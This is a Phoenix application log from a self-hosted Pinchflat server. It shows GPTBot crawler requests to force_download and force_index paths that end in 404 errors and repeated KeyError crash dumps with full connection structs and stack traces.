PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263868.0>, params: %{}, path_info: ["sources", "1", "media", "89341", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 02:24:31.514 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.751 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:01.516 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:30.428 [info] GET /sources/4/media/102834/force_download 02:25:30.429 [debug] QUERY OK source="settings" db=0.3ms idle=1783.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:30.429 [debug] QUERY OK source="settings" db=0.3ms idle=1784.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:30.430 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:25:30.430 [error] #PID<0.263876.0> running PinchflatWeb.Endpoint (connection #PID<0.263875.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102834/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102834/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263875.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40234}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263876.0>, params: %{}, path_info: ["sources", "4", "media", "102834", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102834/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKu8GLRVV1HCgAJ-0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263875.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40234}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102834/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263875.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40234}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263876.0>, params: %{}, path_info: ["sources", "4", "media", "102834", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => Pinch (truncated) 02:25:31.518 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.754 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:01.520 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:31.522 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:31.693 [info] GET /sources/4/force_index 02:26:31.694 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1048.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:26:31.695 [debug] QUERY OK source="settings" db=0.2ms idle=1049.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:26:31.695 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:26:31.696 [error] #PID<0.263883.0> running PinchflatWeb.Endpoint (connection #PID<0.263882.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37994}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263883.0>, params: %{}, path_info: ["sources", "4", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKygVBN8rmEpoAJ-2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37994}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37994}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263883.0>, params: %{}, path_info: ["sources", "4", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, (truncated) 02:27:00.756 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:01.524 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:31.526 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:35.100 [info] GET /sources/5/force_index 02:27:35.101 [debug] QUERY OK source="settings" db=0.3ms idle=917.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:35.102 [debug] QUERY OK source="settings" db=0.3ms idle=456.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:35.102 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:27:35.103 [error] #PID<0.263893.0> running PinchflatWeb.Endpoint (connection #PID<0.263892.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59706}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263893.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEK2MibuGRwVewAJ-3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59706}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59706}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263893.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, (truncated) 02:28:00.757 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:01.528 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:31.530 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:39.392 [info] GET /sources/1/force_index 02:28:39.393 [debug] QUERY OK source="settings" db=0.2ms idle=747.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.393 [debug] QUERY OK source="settings" db=0.2ms idle=748.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:28:39.393 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:28:39.394 [error] #PID<0.263900.0> running PinchflatWeb.Endpoint (connection #PID<0.263899.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263899.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41512}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263900.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEK58CuTP0Xh7wAMXeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 